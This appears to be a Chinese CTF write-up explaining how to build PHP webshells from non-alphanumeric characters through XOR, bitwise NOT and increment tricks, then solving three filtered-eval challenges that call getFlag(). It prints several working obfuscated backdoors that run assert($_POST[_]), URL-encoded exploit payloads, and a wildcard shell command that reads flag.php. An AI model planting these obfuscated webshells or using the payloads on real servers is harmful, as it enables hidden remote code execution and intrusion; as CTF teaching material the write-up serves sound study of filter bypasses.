2020-10-19
3.1k
PHP无数字字母构造webshell
0x01 从一道题目出发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>
|
分析代码可知
- 只要执行getFlag()函数应该就可以得到flag了
- 但对code的长度限制<40,并且code不能有数字和大小写字母
0x02 前置知识
异或运算
在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。
举个例子:
1 2
| A的ASCII值是65,对应的二进制值是01000001 `?的ASCII值是63,对应的二进制值是00111111
|
异或的二进制的值是01111110
,对应的ASCII值是126,对应的字符串的值就是~
了。
再结合PHP弱类型的特点,可以将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:
1 2 3 4 5 6 7 8
| <?php function B(){ echo "Hello Angel_Kitty"; } $_++; $__= "?" ^ "}"; $__(); ?>
|
第5行代码对变量名为_
的变量进行自增操作,在PHP中未定义的变量默认值为null(nullfalse0),我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
第6行代码对字符?
和}
进行异或操作,得到字符B
赋值给变量名为__
的变量。
第7行代码可以看作是执行B()
,表示调用函数B,所以执行结果为Hello Angel_Kitty
。
再看一个非数字字母的PHP后门:
1 2 3 4 5 6 7 8 9 10
| // demo1.php <?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>
|

_POST
的拼接可以将上面的代码合并为一行,代码如下:
1
| $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
|
还可以用更短的字符:
1 2
| "`{{{"^"?<>/" //_GET "#./|{"^"|~`//" //_POST
|
取反运算
来看一个汉字"和"
1 2 3 4 5 6
| >>> print("和".encode('utf8')) b'\xe5\x92\x8c' >>> print("和".encode('utf8')[2]) 140 >>> print(~"和".encode('utf8')[2]) -141
|
和
的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73
,php中chr(0xff73)
==115,115就是s的ASCII值。
因此
1 2 3 4 5
| <?php $_="和"; print(~($_{2})); print(~"\x8c"); ?>
|
两个写法性质一样,结果会输出:ss
脚本生成payload:
1 2 3 4 5 6
| >>> def get(shell): ... hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell)) ... print(hexbit) ... >>> get('phpinfo') 0x8f0x970x8f0x960x910x990x90
|
不用数字构造数字
主要思想就是,利用了PHP弱类型特性,true的值为1。
1 2 3
| $_=('>'>'<')+('>'>'<') print($_) // 1 print($_/$_) // 2
|
字符>
的ascii值大于<
ascii的值
1 2 3 4
| <?php $_++; print($_); // 1 ?>
|
php中未定义的变量默认值为null,nullfalse0
0x03 无数字字母构造webshell
代码
1 2 3 4 5
| // demo2.php <?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); }
|
思路
将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如"assert",然后动态执行即可。
使用assert的话PHP版本必须小于等于7.0
利用异或操作
不可打印字符,用url编码表示。
1 2 3 4 5
| <?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
|
查ascii码对照表可以发现,0x01 = 1 = SOH; 0x13 = 19 = DC3; 0x05 = 5 = ENQ等等

如果要直接使用的话,必须对这些不可打印的特殊字符url编码,实际上木马应该是下面这个样子:
1 2 3 4 5 6
| <?php $_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`'); $__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']'); $___=$$__; $_($___[_]);// assert($_POST[_]); ?>
|

利用取反操作
利用的是UTF-8编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的utf8是三个字节,{2}表示第3个字节。
1 2 3 4 5 6 7 8
| <?php header("Content-Type:text/html;charset=utf-8"); $__=('>'>'<')+('>'>'<');//$__=2 $_=$__/$__;//$_=1 $___="瞰"; $____="和"; print(~($___{$_})); // a print(~($____{$__})); // s
|
payload
1 2 3 4 5 6 7 8 9 10 11
| <?php $__=('>'>'<')+('>'>'<');//$__2 $_=$__/$__;//$_1
$____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST $____($_[$__]);//assert($_POST[2])
|

这里也有一种简短的写法${~"\xa0\xb8\xba\xab"}
它等于$_GET。这里相当于直接把utf8编码的某个字节提取出来统一进行取反。
利用递增操作符
我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。再取这个字符串的第一个字母,就可以获得’A’。
因为PHP函数是大小写不敏感的,最终执行的是ASSERT($POST[]),无需获取小写a。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__;
$____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__;
$_=$$____; $___($_[_]); // ASSERT($_POST[_]);
|
0x04 回到最开始的那道题
异或方法
前面提到过_GET
也可以这样拼接:
1
| $__="`{{{"^"?<>/"; // $__="_GET";
|
按照这种方法,可以得到一种payload:
1
| ?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
|
即${$_}[_]()
= $_GET[_]()
,url传入_=getFlag
本文的后面解释了${$_}[_]()
中的{}
的作用
还有两种更直接的payload:
1 2
| ?code=$_='[[]|@[['^'<>):,:<';$_(); //$_='getFlag' ?code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
|
相当于 $啊=getFlag;$啊();
取反方法
前面也提到过$_GET
还有一种简短的写法${~"\xa0\xb8\xba\xab"}
那么利用这种方式可得payload:
1
| ?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); //%_为getFlag取反然后URL编码得结果
|
或
1
| ?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
|
其中:%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B
= $_GET['+']
0x05 进一步思考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
include 'flag.php';
if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>
|
在上面一道题的基础上,又过滤了下划线_
,意味着不能定义变量,而且也构造不出来数字。
首先看一个错误的payload:
1
| ?code=('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
|
错误的原因是eval只能解析一遍代码,所以如果写的是a.b这样的字符串拼接,就只会执行这个拼接,并不会去执行代码。
例如:
eval($_GET['b'])
url里面 b=phpinfo();
这时候相当于eval('phpinfo();')
eval($_GET['b'])
url里面b=$_GET[c]&c=phpinfo();
相当于eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag();
,也就是eval('$_GET['+'])
并不会执行getFlag();
1 2 3 4 5 6 7 8 9
| <?php function getflag() { echo "12354"; } $a="getflag"; $b="()"; @eval($a.$b); ?>
|
这个代码不会输出任何结果。
正确的payload为:
1
| ?code=${"`{{{"^"?<>/"}['+']();&+=getFlag
|
这里利用了${}
中的代码是可以执行的特点,其实也就是可变变量。
1 2 3 4 5
| <?php $a = 'hello'; $$a = 'world'; echo "$a ${$a}"; ?>
|
输出hello world
,${$a}
,括号中的$a
是可以执行的,变成了hello。
这也解释上面提到的为什么要加上{}
还可以使用取反的方法:
1
| ?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
|
其中24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B
= ${~"\xa0\xb8\xba\xab"}
= $_GET
~在{}中执行了取反操作
另外上面提到过的一个payload仍然还是可以使用:
1
| code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
|
这里就不需要用{}了,因为异或的值直接被当作字符串赋值给了$啊。
0x06 最后的思考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php include 'flag.php'; if(isset($_GET['code'])) { $code=$_GET['code']; if(strlen($code)>35){ die("Long."); } if(preg_match("/[A-Za-z0-9_$]+/",$code)) { die("NO."); } @eval($code); } else { highlight_file(__FILE__); } //$hint="php function getFlag() to get flag"; ?>
|
这道题进一步的过滤了$
字符。
Payload:
1
| code=?><?=`/???/??? ????.???`?>
|
前提是在Linux系统中
首先?>
闭合php文件开头的<?php
,<?=
可以输出。
<? ?>
是短标签,<?php ?>
是长标签。在php的配置文件php.ini
中有一个short_open_tag
的值,开启以后可以使用PHP的短标签:<? ?>
同时,只有开启这个才可以使用 <?=>
以代替 <? echo
。
另外,在linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %
等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:
/???/???
通配``/bin/cat,
???.???通配
flag.php`
0x07 Reference
https://www.moonback.xyz/2019/10/16/nowords-webshell/
0x08 Update
https://guokeya.github.io/post/NIupiXpsi/